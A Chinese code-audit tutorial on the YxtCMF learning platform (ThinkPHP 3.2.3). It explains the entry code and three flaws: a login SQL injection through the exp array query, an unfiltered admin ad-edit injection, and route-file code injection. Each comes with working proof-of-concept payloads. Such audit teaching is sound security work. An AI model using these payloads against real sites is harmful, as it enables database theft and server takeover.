MVC框架的代码审计小教程
介绍
YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。
在线学习系统,为现代学习型组织提供了卓有成效的学习与培训方案, 能够通过在线学习和在线评估的方式轻松完成针对员工制订的培训计划,能够轻松建立自己的网校!
1、设计理念:E-learning
2、简单直观的界面、主次分明的设计
3、YxtCMF帮助培训机构和个人以最低成本、最快速度建立自己的在线教学网站,无需担心技术问题
4、YxtCMF采用PHP 5开发,使用mysql数据库。 框架使用Thinkphp+Bootstrap框架
下载地址:https://www.jb51.net/codes/474604.html
目录结构
admin //后台静态文件
appliication //应用文件
data //数据配置文件
Expand //扩展类库目录
plugins //插件
public //一些资源
themes //主题
ueditor //编辑器文件
update //升级文件
uploads //上传文件
yxtedu //核心目录根据Thinkphp3.2.3开发的
index.php
yxtcmf 基于 thinkphp3.2.3开发的,所以先了解一下目录
application/xxx/controller //由于是MVC架构,所以我们重要的逻辑代码就在controller下查看就好了
application/xxx/Menu //里面基本上是数组,定义了网站的一些功能名称、模块,我们可以根据这些数组查找到功能点对应的php文件
data/conf/route.php //路由文件
data/conf/db.php //数据库配置文件
yxtedu/Core/Mode/Api/function.php //thinkphp里面的一些自定义的重要函数,后面我们需要用到
前台审计
我们了解完这些配置架构等等之后,我们可以就从 index.php 页面来审计
<?php
if (ini_get('magic_quotes_gpc'))
{
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
if (strtolower($_GET['g']) != "install")
{
header("Location:./index.php?g=install");
exit();
}
}
require SPAPP_PATH . 'Core/ThinkPHP.php';
首先是判断 if (ini_get(‘magic_quotes_gpc’)) ,查看是否开启GPC
若开启了的话,则会对GET、POST接受的参数进行 stripslashesRecursive(实质上就是stripslashes) 转义:
function stripslashesRecursive(array $array)
{
foreach ($array as $k => $v)
{
if (is_string($v))
{
$array[$k] = stripslashes($v);
} else
if (is_array($v))
{
$array[$k] = stripslashesRecursive($v);
}
}
return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);
然后下面给一些常见的参数或者路径赋值,定义的一些常量:
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
然后再查看下面,可以发现是否安装成功;
0x01、前台登陆处未使用I函数过滤导致注入
漏洞地址 :application/User/Controller/LoginController.class.php
首先验证了验证码是否正确,然后初始化了一个Users模块,最后检测是用手机号登录还是用邮箱登录:
$this->_do_mobile_login();
$this->_do_email_login();
这两个函数的定义就在这段代码的下面
注意这第 146 行,查看这一句SQL语句,发现没有经过I函数过滤Thinkphp3.2.3中,如果没有经过I函数接受数据则会导致SQL注入
这是thinkphp的一个框架漏洞,我们先来看一下where函数的功能和用法:
也就是说,where里面包含的内容就是我们要查找的where后面的语句,那么我们这里是不是只要直接写入语句进去就行啦~ 但是你要观察到我们这里where里面的$where变量是数组的形式,而并非字符串形式。
这里就得用到其他的姿势了,也就是exp查询
$where['mobile']=$_POST['username'];
这里需要传参数组进去(如果看不懂可以看看这个链接https://www.php.cn/php-weizijiaocheng-381282.html)
这时候我们要在POST
包里面传进数组,那怎么传呢?这里运用到了&
这个符号进行传参,我们注意要传两个参数,第一个是exp,第二个是我们要执行的sql语句,然后就开始构造payload
account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true
我们执行一下看看咋样
可以看到少了个等于号,为什么?因为这个等于号被当做赋值用了,所以不会被当做代码执行,我们需要再传入一个等于号
account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true
这时候就注入成功了
后台使用I方法但未选择过滤方式,导致默认未过滤形成注入
漏洞位置:application/Admin/Controller/AdController.class.php
function edit(){
$id=I("get.id");
$ad=$this->ad_model->where("ad_id=$id")->find();
$this->assign($ad);
$this->display();
}
根据函数命名可以知道这个是编辑,于是我们添加一条广告
再进去,通过下图我们可以知道这个是伪静态注入
这边接受我们的id,$id 虽然经过了I函数,但是没有选择,而默认又是为空
这边只需要闭合一下就可以了
因为路由设置问题导致GetShell
漏洞位置:application\Admin\Controller\RouteController.class.php
跟进 sp_get_routes 函数,这边贴出关键代码
function sp_get_routes($refresh=false){
......
$routes=M("Route")->where("status=1")->order("listorder asc")->select(); //取出status为1的Route
$all_routes=array();
$cache_routes=array();
foreach ($routes as $er){
$full_url=htmlspecialchars_decode($er['full_url']); //这里的full_url用htmlspecialchars_decode解码
......
$all_routes[$url]=$full_url; //将$full_url添加到$all_routes中
}
......
$route_dir=SITE_PATH."/data/conf/";
if(!file_exists($route_dir)){
mkdir($route_dir);
}
$route_file=$route_dir."route.php"; //检测是否存在目录和route.php
file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");
//将我们的$all_routes写入到route.php中
return $cache_routes;
通过上面我们知道这边过滤函数三个
htmlspecialchars_decode
var_export
stripslashes
而这三个函数跟进后对我们没有什么用,等于把我们的route写入文件中
根据路由规则,我们直接进入目标的页面,这边可以写入文件,我们就可以去构造个Payloadindex/a/b',${phpinfo()}.'
可以看出这边是把单引号闭合掉,然后执行